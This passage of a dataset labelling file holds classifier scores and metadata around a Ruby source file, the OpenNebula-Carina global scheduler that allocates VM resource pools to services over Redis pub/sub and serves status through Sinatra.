0.9654790927195827}}, "probability_diagnostics": {"primary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "tertiary": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "structured_records": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "procedural_steps": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "worked_solution": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "contextual_dialogue": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "content_quality": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "noise_severity": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "missing_content_severity": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "factual_density": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "pretraining_utility": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "math_density": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "code_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "reasoning_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "education_level": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "creative_writing_quality": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "primary_topic": {"raw_sum": 0.9999999999999998, "mass_delta": -2.220446049250313e-16, "missing_mass": 2.220446049250313e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary_topic": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}}, "usage": {"input_tokens": 11558, "output_tokens": 19}, "cache": {"status": "unreported", "cached_tokens": null, "cache_write_tokens": null, "input_tokens": 11558, "cached_share": null, "cache_discount_reported": null, "reported_cost_usd": null}, "response_metadata": {"model": "decision-models/baseten-mammoth-27b-latest"}, "scored_at_utc": "2026-10-25T18:29:12.344065+00:00", "scoring_key_slot": "assistant_1", "dataset_uid": "7cc13a63-4a3a-4c55-a455-b535d999e523", "dataset_revision": "62077439f2c81c79b71c084d1057ee1d042369a3", "dataset_config": "default", "content_variant": "content", "source_record_sha256": "991a859b2ac3d8f59c040b5b11215a532fd83cc5aebad22ad59be4080f986620", "source_metadata": {"uuid": "7cc13a63-4a3a-4c55-a455-b535d999e523", "repo_name": "mustache/mustache", "relative_path": "lib/mustache/parser.rb", "category": "TOOL", "algo_rel_score": 0.7828963994979858, "quality_score": 3.5130207538604736, "source_meta": {"github_metadata": {"branch": "master", "commit_count": 802, "repo_created_at": "2009-09-24T08:20:21.000Z", "is_fork": false, "is_org_owned": true, "forked_from": null, "stars": 3061, "forks": 270, "issues": 36, "pull_requests": 15}, "file_meta": {"content_id": "813067e2238afff9cf3810a7f8eed0b1ab851fe7", "size_bytes": 11718, "file_timestamp": 1663409540, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "9fefaabd2b1e68ef8186a210af1f0e18ef48bb55"}}, "parsed_source_meta": {"github_metadata": {"branch": "master", "commit_count": 802, "repo_created_at": "2009-09-24T08:20:21.000Z", "is_fork": false, "is_org_owned": true, "forked_from": null, "stars": 3061, "forks": 270, "issues": 36, "pull_requests": 15}, "file_meta": {"content_id": "813067e2238afff9cf3810a7f8eed0b1ab851fe7", "size_bytes": 11718, "file_timestamp": 1663409540, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "9fefaabd2b1e68ef8186a210af1f0e18ef48bb55", "url": "https://github.com/mustache/mustache/blob/9fefaabd2b1e68ef8186a210af1f0e18ef48bb55/lib/mustache/parser.rb"}, "gpt4o_tokens": 2938, "dataset_split": "ruby", "probability_weighted_scores": {"content_quality": 1.2672211580663255, "noise_severity": 0.013001547369751853, "missing_content_severity": 0.0052708656760756985, "factual_density": 3.497651285877248, "pretraining_utility": 0.7003417619376533, "math_density": 0.04889249789984525, "code_density": 3.753726562219553, "reasoning_density": 0.9779294209326297, "education_level": 2.3376847737715583, "creative_writing_quality": -0.0947585465950106}, "score_applicability": {"education_level": 0.9991989293738583, "creative_writing_quality": 0.000598373248804772}} {"source_group": "ruby", "source": "openbmb/UltraData-Stack-v3-L2/ruby", "domain": "github.com", "language": "ruby", "url": "https://github.com/blackberry/OpenNebula-Carina/blob/6c9cadd253fa39b85ebfc4bd702f9d3146e0beaa/bin/oneenvd-gs", "id": "ruby-0-e9cc73d9d5dab61c2e3e96200504d18b", "text": "#!/usr/bin/env ruby\n# -------------------------------------------------------------------------- #\n# Copyright 2011-2012, Research In Motion Limited #\n# #\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may #\n# not use this file except in compliance with the License. You may obtain #\n# a copy of the License at #\n# #\n# http://www.apache.org/licenses/LICENSE-2.0 #\n# #\n# Unless required by applicable law or agreed to in writing, software #\n# distributed under the License is distributed on an \"AS IS\" BASIS, #\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. #\n# See the License for the specific language governing permissions and #\n# limitations under the License. #\n#--------------------------------------------------------------------------- #\n\nrequire 'rubygems'\nrequire 'sinatra'\nrequire 'redis'\nrequire 'logger'\nrequire 'json'\nrequire \"../etc/global.rb\"\nrequire \"../lib/gs_message.rb\"\n\n\n# Represents a client to the global scheduler i.e a oneenvd instance representing\n# the environments for a particular service. Each oneenvd is assigned a different\n# port to run on on the controller node\nclass Client < JSONable\n attr_accessor :name\n attr_accessor :zone\n attr_accessor :host\n attr_accessor :port\n\n\n def initialize(name, zone, host, port)\n @name = name\n @zone = zone\n @host = host\n @port = port\n end\nend\n\n\n# A Pool represnts a VDC in ONE whose capacity is allocted by the global scheduler\n# Pools can be assigned a priority class (gold,silver,bronze) which is used to match\n# requests from services\nclass Pool < JSONable\n attr_accessor :name\n attr_accessor :zone\n attr_accessor :vcpus\n attr_accessor :mem\n attr_accessor :availvcpus\n attr_accessor :availmem\n attr_accessor :priclass\n attr_accessor :status\n\n def initialize(name, zone, vcpus, mem, priclass)\n @name = name\n @zone = zone\n @vcpus = vcpus\n @mem = mem\n @priclass = priclass\n @availvcpus = vcpus\n @availmem = mem\n end\nend\n\n# This represents a business service that will draw resources from the scheduler\n# Each service is represented by one or more clients (oneenvd's) that will make \n# resource requests for environments that they manage. By associating a prioirty class\n# with the service - and hence the requests - the global scheduler tries to match\n# the request with the right type of resource\n#\n#\nclass Service < JSONable\n attr_accessor :name\n attr_accessor :id\n attr_accessor :clientList\n attr_accessor :zone\n attr_accessor :vcpusallocated\n attr_accessor :memallocated\n attr_accessor :priclass\n attr_accessor :maxcpus\n attr_accessor :maxmemory\n\n\n def initialize (name,authinfo, maxcpus, maxmemory, priclass)\n @name = name\n @zone = zone\n @maxcpus = maxcpus\n @maxmemory = maxmemory\n @priclass = priclass\n @clientList = Array.new\n @vcpusallocated = 0\n @memallocated = 0\n end\nend\n\n# This class represents the global scheduler which periodically wakes up and looks\n# at the list of outstanding requests made by clients and matches them to the available\n# resource pools. It communicates with the client via Redis pub/sub mechanism. Attempts\n# to match requests with available pools can result in reclaim or preempt resources\n# from other clients so that the highest priority services can get access to matching\n# resources.\nclass Scheduler\n def initialize()\n @poolList = Array.new\n @svcList = Array.new\n @reqList = Array.new\n @preempteeList = Array.new\n @preemptableList = Array.new\n @reclaimOutstanding = Hash.new\n end\n\n # Load the configuration and resource requests from Redis\n def loadAll()\n # Load the configuration from global.rb\n SHAREDPOOLS.each_key do |k|\n p = Pool.new(k, SHAREDPOOLS[k][:zone],\n SHAREDPOOLS[k][:allocateable_cpus],\n SHAREDPOOLS[k][:allocateable_mem],\n SHAREDPOOLS[k][:service_class])\n\n @poolList.push(p)\n end\n SERVICES.each_key do |k|\n s = Service.new(k, SERVICES[k][:authinfo],\n SERVICES[k][:maxcpus],\n SERVICES[k][:maxmemory],\n SERVICES[k][:priority])\n @svcList.push(s)\n end\n # Load the requests from redis\n @reqList = $eventProcessor.loadRequests()\n # Compute the free/used stats from state of requests\n @reqList.each { |req|\n if req.status == \"ALLOCATED\"\n pmatches = @poolList.select {|p| p.name == req.pool}\n if pmatches == nil || pmatches[0] == nil\n $Logger.error \"Unable to find pool #{req.pool} for ALLOCATED request #{req.reqid}\"\n next\n end\n smatches = @svcList.select {|s| s.name == req.service}\n if smatches == nil || smatches[0] == nil\n $Logger.error \"Unable to find service #{req.service} for ALLOCATED request #{req.reqid}\"\n next\n end\n pool = pmatches[0]\n pool.availvcpus = pool.availvcpus.to_i - req.vcpus.to_i\n pool.availmem = pool.availmem.to_i - req.mem.to_i\n service = smatches[0]\n service.vcpusallocated = service.vcpusallocated.to_i + req.vcpus.to_i\n service.memallocated = service.memallocated.to_i + req.mem.to_i\n end\n }\n end\n\n\n def addrequest(request)\n @reqList.push(request)\n end\n\n def getRequests()\n return @reqList\n end\n\n def getServices()\n return @svcList\n end\n\n def getPools()\n return @poolList\n end\n\n def getPriClass(req)\n match = @svcList.select{|s| s.name == req.service}\n return match[0].priclass\n end\n\n def getReqPoolPriClass(req)\n match = @poolList.select{|p| p.name == req.pool}\n return match[0].priclass\n end\n\n # Add a client (oneenvd) to a services list. A client can exist for\n # each zone for a given service\n def registerClient(client, svcname)\n match = @svcList.select{|s| s.name == svcname}\n if match == nil || match[0] == nil\n $Logger.error \"Unable to find service #{svcname}\"\n return\n end\n svc = match[0]\n\n # Only add it if its not the same oneenvd re-registerign\n match = svc.clientList.select{|c| c.name == client.name && c.zone == client.zone && c.port == client.port && c.host == client.host}\n if match == nil || match[0] == nil\n svc.clientList.push(client)\n end\n end\n\n def priclass2Index(priclass)\n classlist = [ 'bronze', 'silver', 'gold', 'platinum' ]\n return classlist.index(priclass)\n end\n\n # Attempt to find a matching pool for a request and inform the client if found\n def reserve(req)\n # Check the services priority\n match = @svcList.select{|s| s.name == req.service}\n if match == nil || match[0] == nil\n $Logger.error \"Unable to find service #{req.service}\"\n return\n end\n service = match[0]\n svcpri = service.priclass\n # CHeck if service limits will be exceeded\n vcpusallocated = service.vcpusallocated.to_i + req.vcpus.to_i\n memallocated = service.memallocated.to_i + req.mem.to_i\n if vcpusallocated > service.maxcpus.to_i || memallocated > service.maxmemory.to_i\n $Logger.debug \"Request #{req.reqid} would exceed limits for #{req.service}\"\n return\n end\n \n if SHAREDPOOLS[req.pool] == nil\n $Logger.error \"Pool in request #{req.reqid} is #{req.pool} not known\"\n return\n end\n # Find all pools with a equal or better class than the request\n # We look for pools in the same zone as the pool in which the\n # environment was originall created in.\n targetZone = SHAREDPOOLS[req.pool][:zone]\n match = @poolList.select {|p|\n priclass2Index(p.priclass) >= priclass2Index(svcpri) && \n p.zone == targetZone &&\n p.availvcpus.to_i >= req.vcpus &&\n p.availmem.to_i >= req.mem\n }\n if match == nil || match[0] == nil\n $Logger.info \"No matching pool found for #{req.reqid}. Adding req to preemptee list\"\n @preempteeList.push(req)\n return\n end\n\n $Logger.info \"Number of matching pools found for req #{req.reqid} is #{match.length()}\"\n \n \n match.sort!{ |a,b| a.availvcpus.to_i <=> b.availvcpus.to_i }\n pool = match[0]\n if pool == nil\n $Logger.error \"No pools found #{req.service}\"\n return\n end\n $Logger.info \"Pool info: #{pool.availvcpus} #{pool.availmem}\"\n $Logger.info \"Req info: #{req.vcpus} #{req.mem}\"\n \n $Logger.info \"Assigning #{req.reqid} to pool #{pool.name}\"\n pool.availvcpus = pool.availvcpus.to_i - req.vcpus.to_i\n pool.availmem = pool.availmem.to_i - req.mem.to_i\n service.vcpusallocated = service.vcpusallocated.to_i + req.vcpus.to_i\n service.memallocated = service.memallocated.to_i + req.mem.to_i\n req.status = \"ALLOCATED\" \n req.pool = pool.name\n $eventProcessor.updateRequest(req)\n # Send m GRANT essage to the client\n g=Grant.new(\"GRANT\",req.zone, req.service, pool.name, req.envid, req.reqid)\n g.vcpus = req.vcpus\n g.mem = req.mem\n $eventProcessor.notifyclient(req.service + \"-\" + req.zone, g.to_json) \n return\n end\n \n # Process a release request sent from the client in order to free up \n # the resources\n def release(rel)\n # Find the request with this id\n match = @reqList.select{|r| r.reqid == rel.reqid}\n if match == nil or match[0] == nil\n $Logger.error \"Internal error. Cannot find req with id #{rel.reqid}\"\n return\n end\n req = match[0]\n freeup(req) \n end\n\n \n # Helper function to restore counters when resources are freed. Resources are\n # freed by either an explicit RELEASE command from the client or a CANCEL when\n # the entire environment is removed\n def freeup(req)\n if req.status != \"ALLOCATED\"\n $Logger.error \"Internal error. Trying to release unallocated request for #{req.reqid}\"\n return\n end\n \n # Find the pool and restore the capacity\n match = @poolList.select{|p| p.name == req.pool }\n if match == nil || match[0] == nil\n $Logger.error \"Internal error. No matching pool found for #{req.reqid}\"\n return\n end\n pool = match[0]\n pool.availvcpus = pool.availvcpus.to_i + req.vcpus.to_i\n pool.availmem = pool.availmem.to_i + req.mem.to_i\n # Adjust the limit counters for the service\n match = @svcList.select{|s| s.name == req.service}\n if match == nil || match[0] == nil\n $Logger.error \" No matching service #{req.service} found for #{req.reqid}\"\n end\n service = match[0]\n service.vcpusallocated = service.vcpusallocated.to_i - req.vcpus.to_i\n service.memallocated = service.memallocated.to_i - req.mem.to_i\n req.status = \"RELEASED\"\n $eventProcessor.updateRequest(req)\n end\n\n\n # Handles attempts to release resources for lower priority services which\n # are using resources from a higher priority pool than they normally should.\n def reclaim()\n if @preempteeList.empty?\n $Logger.info \"No one requiring preemption\"\n return\n end\n # Look for low priority requests using resources of a higher class\n @preemptableList.clear\n @reqList.each do |req|\n if req.status == \"ALLOCATED\"\n match1 = @poolList.select {|p| p.name == req.pool}\n match2 = @svcList.select {|s| s.name == req.service}\n poolpri = match1[0].priclass \n svcpri = match2[0].priclass\n if priclass2Index(poolpri) > priclass2Index(svcpri) \n $Logger.info \"Adding req #{req.reqid} as preemption candidate\"\n @preemptableList.push(req)\n end\n end\n end\n $Logger.info \"The size of the preemptable list is #{@preemptableList.length}\"\n # Try and match preemptable with preemptee\n @preempteeList.each do |target|\n targetPriClass = getPriClass(target)\n $Logger.info \" Trying to find a match for #{target.reqid} with class #{targetPriClass}\"\n match = @preemptableList.select { |r|\n candPoolPriClass = getReqPoolPriClass(r)\n targetPriClass == candPoolPriClass}\n if match == nil or match[0] == nil\n $Logger.info \"No match found for #{target.reqid}\"\n next\n end\n # Check if we have already sent a reclaim request for this\n # environment recently\n r = match[0]\n ekey = r.service + \"-\" + r.zone + \"-\" + r.envid\n if @reclaimOutstanding.has_key?(ekey)\n if Time.now - @reclaimOutstanding.fetch(ekey) < 60\n $Logger.info \"Environment has recent reclaim request #{r.envid}\"\n next\n end\n end\n\n # Send a reclaim message to the target client which we are\n # preempting. The reclaim will cause a release of the resource\n # which should be assigned to the target\n \n $Logger.info \" Sending a reclaim for #{r.reqid}\"\n rec = Reclaim.new(\"RECLAIM\", r.reqid, r.envid)\n \n $eventProcessor.notifyclient(r.service + \"-\" + r.zone, rec.to_json) \n @reclaimOutstanding.store(ekey, Time.now) \n end\n\n end\n\n # When an environment is removed by oneenvd, clean up all requests\n def cancelEnv(cancel)\n $Logger.debug \"Cancelling requests for environment #{cancel.service} #{cancel.zone} #{cancel.envid}\"\n match = @reqList.select{|r| r.zone == cancel.zone && r.service == cancel.service && r.envid == cancel.envid}\n if match == nil or match[0] == nil\n # This can happen if oneenvd cancelling environment which didn't\n # request any resources\n $Logger.debug \"No matching requests for client #{cancel.service} #{cancel.zone} #{cancel.envid}\"\n return\n end\n match.each do |r|\n if r.status == \"ALLOCATED\"\n freeup(r)\n end\n r.status = \"CANCELLED\"\n $eventProcessor.updateRequest(r)\n $eventProcessor.expireRequest(r)\n @reqList.delete(r)\n end\n end\n\n def run(lock)\n loop do\n $Logger.debug \"Scheduler: Examining requests\"\n lock.synchronize {\n @preempteeList.clear\n @reqList.each do |req|\n #puts \"Scheduler: Examining request #{req.reqid}\"\n if req.status == \"PEND\"\n self.reserve(req)\n end\n end \n reclaim() \n $Logger.debug \"Scheduler: Finished examining requests - going to sleep\"\n }\n sleep 30\n end\n end\nend\n\n\n# Class to handle requests from the clients. Each client has a channel through which\n# which the global scheduler sends messages named -. \n# The globl scheduler subscribes to a 'svc' channel that all clients can send messages on. \n# A special 'glob-sched' channel is used to send control/initializaiton messages to\n# any client.\nclass EventProcessor\n\n def initialize()\n if $redis2.get(\"nextRequestId\") == nil\n puts \"Initilizing nextRequestId\"\n $redis2.set(\"nextRequestId\", \"1\")\n end\n end\n\n def insertRequest(req)\n puts \"Incrementing request id\"\n $redis2.incr(\"nextRequestId\")\n rid = $redis2.get(\"nextRequestId\")\n puts \"Request id #{rid}\"\n req.reqid = rid\n msg = req.to_json\n $redis2.set(\"req:#{rid}\",msg)\n puts \"Inserted request with id #{rid}\"\n end\n\n def updateRequest(req)\n msg = req.to_json\n rid = req.reqid\n $redis2.set(\"req:#{rid}\",msg)\n end\n\n def expireRequest(req)\n $redis2.expire(\"req:#{req.reqid}\", 600)\n end\n\n\n def loadRequests()\n keylist=$redis2.keys(\"req*\")\n reqList = Array.new\n keylist.each { |k|\n val = $redis2.get(k)\n req = Request.new(\"\",\"\",\"\")\n req.from_json(val)\n if req.status != \"RELEASED\" && req.status != \"CANCELLED\"\n reqList.push(req)\n end\n }\n return reqList\n end\n\n\n def notifyclient(channelname, message)\n $Logger.info \"Sending message to client #{channelname}\"\n $redis2.publish(channelname, message)\n end\n\n def processmsg(channel, msg)\n if msg.include? \"REGISTER\"\n reg = Register.new(\"\",\"\",\"\")\n reg.from_json(msg)\n $Logger.debug \"Processing REGISTER request #{reg.service} #{reg.type} #{reg.zone} \"\n client = Client.new(reg.service, reg.zone, reg.host, reg.port)\n $scheduler.registerClient( client, reg.service)\n \n #Send back an INITIALIZE message to the oneenvd telling it\n #all the outstanding resources it has by giving the list\n #of reqids\n reqList = $scheduler.getRequests()\n if reqList == nil\n return\n end\n match = reqList.select{|r| r.status == \"ALLOCATED\" && r.zone == reg.zone && r.service == reg.service }\n if match == nil || match[0] == nil\n $Logger.info \" No outstanding allocatred resources for #{reg.service} in zone #{reg.zone}\"\n end\n\n initresp = Initialize.new(\"INITIALIZE\")\n match.each { |r|\n initresp.reqIds[r.reqid] = r.envid\n }\n msg = initresp.to_json\n self.notifyclient(reg.service+\"-\"+reg.zone, msg)\n end\n\n if msg.include? \"ALLOCATE\"\n req = Request.new(\"\",\"\",\"\")\n req.from_json(msg)\n $Logger.debug \"Processing ALLOCATE request #{req.service} #{req.type} #{req.vcpus} #{req.mem} #{req.pool}\"\n # Persist the request into redis\n req.submittime = Time.now\n req.status = \"PEND\"\n self.insertRequest(req)\n # Tell the scheduler about request\n $scheduler.addrequest(req)\n # Update the service and VDC counters in redis\n end\n\n if msg.include? \"RELEASE\"\n release = Release.new(\"\",\"\")\n release.from_json(msg)\n $scheduler.release(release) \n end\n\n if msg.include? \"CANCEL\"\n cancel = Cancel.new(\"\",\"\",\"\",\"\")\n cancel.from_json(msg)\n $scheduler.cancelEnv(cancel) \n end\n\n end\n\n def run(lock)\n # Publish STARTUP message so that clients will know to REGISTER\n # This will handle the case where global scheduler is restarted after\n s = Startup.new(\"STARTUP\")\n notifyclient(\"glob-sched\", s.to_json)\n $redis.subscribe(\"svc\") do |on|\n on.message do |channel, msg|\n $Logger.debug \"Received msg on channel #{channel}: #{msg}\"\n lock.synchronize { \n self.processmsg(channel, msg)\n }\n end\n end \n end\nend\n\n\nclass Params\n def self.readFile(file)\n File.readlines(file).each do |line|\n next if /\\S/ !~ line || line.match(/^#/)\n values = line.split(\"=\")\n lines2 = values[1].split.join(\"\\n\")\n ENV[values[0]] = lines2\n end\n end\nend\n\nif File.exists?(\"../etc/system.conf\")\n Params.readFile(\"../etc/system.conf\")\nend\n\nif File.exists?(\"../etc/oneenv.conf\")\n conffile = \"../etc/oneenv.conf\"\nelse\n conffile = ENV[\"HOME\"] + \"/conf/oneenv.conf\"\nend\nParams.readFile(conffile)\n\n\n$port = ENV[\"CARINA_GS_PORT\"]\nset :bind, '0.0.0.0'\nset :port, $port \n\n\nThread.abort_on_exception = true\n$Logger = Logger.new(ENV[\"HOME\"]+'/logs/oneenvd-gs.log')\n$Logger.level = Logger::DEBUG\n$scheduler = Scheduler.new()\n# We create two connections to the Redis server. One for sending requests asynchronously\n# and the other for receiving subscriptions. These are handled by two separate threads\n# hence we need two connections.\n$redis = Redis.new(:host => ENV[\"GS_REDIS_IP\"], :port => ENV[\"GS_REDIS_PORT\"])\n$redis2 = Redis.new(:host => ENV[\"GS_REDIS_IP\"], :port => ENV[\"GS_REDIS_PORT\"])\n\n\n\nlock = Mutex.new\n$eventProcessor = EventProcessor.new()\nThread.new() {\n $eventProcessor.run(lock)\n}\n\n$scheduler.loadAll()\nThread.new() {\n $scheduler.run(lock)\n}\n\nget '/pools' do\n lock.synchronize {\n poolList = $scheduler.getPools()\n poolList.to_json\n }\nend\n\nget '/services' do\n lock.synchronize {\n svcList = $scheduler.getServices()\n svcList.to_json\n }\nend\n\nget '/requests' do\n lock.synchronize {\n reqList = $scheduler.getRequests()\n reqList.to_json()\n }\nend\n\n", "text_preview": "#!/usr/bin/env ruby # -------------------------------------------------------------------------- # # Copyright 2011-2012, Research In Motion Limited # # # # Licensed under the Apache License, Version 2.0 (the \"License\"); you may # # not use", "input_sha256": "e4ed5836b196511f636f708589f183072c2e18abf33e98c14f7183de1e4edb44", "text_sha256": "e9cc73d9d5dab61c2e3e96200504d18bfb9e1fbe8398fc98661378901aaa82fb", "run_sha256": "0dbe3046118ab5f0eea428b55f67ac75d558dc1c7da585927c21fa1685f6e177", "line_number": 16009, "input_policy": "text-and-optional-url-v1", "label_policy_version": 12, "requested_model": "decision-models/baseten-mammoth-27b-latest", "backend": "baseten", "endpoint": "https://inference.baseten.co/v1/systemone", "status": "ok", "training_eligible": true, "label": {"primary": {"main_format": "Technical Writing", "sub_format": null}, "secondary": {"main_format": "Legal Notices", "sub_format": null}, "tertiary": null, "content_structure": []}, "candidate_label": null, "topic": {"primary": {"main_topic": "Programming & Software Engineering", "sub_topic": null}, "secondary": null}, "scores": {"content_quality": 1, "noise_severity": 0, "missing_content_severity": 0, "factual_density": 4, "pretraining_utility": 1, "math_density": 0, "code_density": 4, "reasoning_density": 0, "education_level": 3, "creative_writing_quality": null}, "score_expectations": {"content_quality": 0.5219626981197704, "noise_severity": 0.4839799119775475, "missing_content_severity": 0.023229786269483722, "factual_density": 3.30310036662771, "pretraining_utility": 0.532187227134641, "math_density": 0.3194649554257124, "code_density": 3.736007292749053, "reasoning_density": 1.5759723482198529, "education_level": 2.6889294116503115, "creative_writing_quality": -0.2444207628128264}, "api_choices": {"primary": "Technical Writing", "secondary": "Legal Notices", "tertiary": "NONE", "education_level": "3", "creative_writing_quality": "not_applicable", "primary_topic": "Programming & Software Engineering", "secondary_topic": "NONE"}, "review_reasons": [], "format_slot_diagnostics": {"comparable": true, "secondary_tertiary_identical": false, "secondary_tertiary_max_abs_gap": 0.6161252163571471, "secondary_choice": "Legal Notices", "tertiary_choice": "NONE"}, "confidence": {"primary": 0.994934122096546, "secondary": 0.7302284901297122, "tertiary": 0.814476868030093, "structured_records": 0.044189202391854976, "procedural_steps": 0.01250791498323045, "worked_solution": 0.0034536514528866135, "contextual_dialogue": 1.267103364628749e-05, "content_quality": 0.4134971881017203, "noise_severity": 0.5966834066853771, "missing_content_severity": 0.9806418447754303, "factual_density": 0.41925030552309195, "pretraining_utility": 0.47979520497698025, "math_density": 0.7337792038119063, "code_density": 0.7800060772908775, "reasoning_density": 0.0, "education_level": 0.4053104564058019, "creative_writing_quality": 0.9993354633995979, "primary_topic": 0.9907841625666581, "secondary_topic": 0.8657985858588023}, "probability_margin": {"primary": 0.9922291672381192, "secondary": 0.5353871875359488, "tertiary": 0.6638723946783284, "education_level": 0.1105040406336808, "creative_writing_quality": 0.9991900850715556, "primary_topic": 0.9865440274998016, "secondary_topic": 0.8201376791418328}, "raw_probabilities": {"primary": {"Academic Writing": 3.124046071651277e-05, "Content Listing": 1.5046209713855537e-05, "Creative Writing": 1.5199611526937327e-05, "Customer Support Page": 7.342776048085062e-06, "Q&A Forum": 8.15337416672865e-06, "Discussion Thread": 6.173898002894224e-06, "Comment Section": 1.0943761843242582e-05, "Missing Content": 2.136209551256041e-05, "Knowledge Article": 5.2748957519194695e-05, "Legal Notices": 0.002916033104403999, "News Article": 4.572025733660143e-06, "Organizational Announcement": 1.921639080364879e-05, "Nonfiction Writing": 8.567379235880046e-06, "Organizational About Page": 1.2656073539091118e-05, "Personal About Page": 6.27827065712777e-06, "Personal Blog": 6.148203883702187e-06, "Product Page": 5.8189848790223816e-06, "Spam / Ads": 7.462772981631671e-06, "Structured Data": 0.0006763482862627746, "Technical Writing": 0.9951452003425232, "Transcript / Interview": 1.228282983181689e-05, "Tutorial / How-To Guide": 6.88033842102098e-05, "User Reviews": 5.232518480259502e-06, "Other / Unknown": 0.000937168287523864}, "secondary": {"Academic Writing": 0.0005611526357727001, "Content Listing": 0.000479493864246582, "Creative Writing": 0.0005433688214498835, "Customer Support Page": 0.00024617981056549614, "Q&A Forum": 0.00024328864199974368, "Discussion Thread": 0.00022288016887471131, "Comment Section": 0.0004716554522047533, "Missing Content": 0.00048137605904994624, "Knowledge Article": 0.001169915114866965, "Legal Notices": 0.7414689697076409, "News Article": 0.00037989588783057283, "Organizational Announcement": 0.0005860377306415239, "Nonfiction Writing": 0.00039627778559202145, "Organizational About Page": 0.0005741721651825147, "Personal About Page": 0.00024973758663079796, "Personal Blog": 0.00022442000520995784, "Product Page": 0.00032581770174997253, "Spam / Ads": 0.0003235616141324756, "Structured Data": 0.0017541716150735484, "Technical Writing": 0.0421504978080059, "Transcript / Interview": 0.00047816593336386364, "Tutorial / How-To Guide": 0.00041609715287871927, "User Reviews": 0.00017108456534440633, "NONE": 0.20608178217169204}, "tertiary": {"Academic Writing": 0.000423520303042507, "Content Listing": 0.00029731596697819064, "Creative Writing": 0.0003782948875157921, "Customer Support Page": 0.00018481827644463612, "Q&A Forum": 0.00011335704032678524, "Discussion Thread": 0.0001299247071586128, "Comment Section": 0.000299013116505411, "Missing Content": 0.00032870543901733165, "Knowledge Article": 0.002354184584152001, "Legal Notices": 0.15833460385051082, "News Article": 0.00022981787726808093, "Organizational Announcement": 0.0003065989263481203, "Nonfiction Writing": 0.00028414480478549525, "Organizational About Page": 0.00033598082784819466, "Personal About Page": 0.00014436030276596235, "Personal Blog": 0.0001666641865013333, "Product Page": 0.00015877104956079884, "Spam / Ads": 0.0002479187143159356, "Structured Data": 0.0030780979162831038, "Technical Writing": 0.009242575762003614, "Transcript / Interview": 0.0002526316900402647, "Tutorial / How-To Guide": 0.00040606681449234673, "User Reviews": 9.563442729548879e-05, "NONE": 0.8222069985288392}, "structured_records": {"false": 0.955810797608145, "true": 0.044189202391854976}, "procedural_steps": {"false": 0.9874920850167695, "true": 0.01250791498323045}, "worked_solution": {"false": 0.9965463485471134, "true": 0.0034536514528866135}, "contextual_dialogue": {"false": 0.9999873289663537, "true": 1.267103364628749e-05}, "content_quality": {"-2": 0.0120515632656053, "-1": 0.1048344420866403, "0": 0.3450967641089861, "1": 0.42513419433991534, "2": 0.11288303619885298}, "noise_severity": {"0": 0.5424220298877734, "1": 0.43704208260029026, "2": 0.01654673142070925, "3": 0.002112257829069013, "4": 0.0018768982621579047}, "missing_content_severity": {"0": 0.9876922091565304, "1": 0.0039488379744633826, "2": 0.006047593145051298, "3": 0.0020596768909017815, "4": 0.00025168283305310017}, "factual_density": {"0": 0.0030149703141374136, "1": 0.009570966554101227, "2": 0.11398814448822417, "3": 0.42815056347698804, "4": 0.44527535516654904}, "pretraining_utility": {"-2": 0.008041049117402272, "-1": 0.07518137256527002, "0": 0.3715433709637445, "1": 0.46701771677245074, "2": 0.07821649058113234}, "math_density": {"0": 0.7809984632064475, "1": 0.15874831863342137, "2": 0.03569353100852318, "3": 0.008909173831187521, "4": 0.01565051332042052}, "code_density": {"0": 0.00027979399449670897, "1": 0.0005737917016713951, "2": 0.01648681601206408, "3": 0.22817852414381792, "4": 0.7544810741479498}, "reasoning_density": {"0": 0.3803765610451085, "1": 0.12278570743187503, "2": 0.17090031941220885, "3": 0.19236364647967036, "4": 0.13357376563113726}, "education_level": {"none": 0.0010889058496726474, "0": 0.001324959458311403, "1": 0.004025019445437463, "2": 0.3939213397044874, "3": 0.5044253803381682, "4": 0.09521439520392289}, 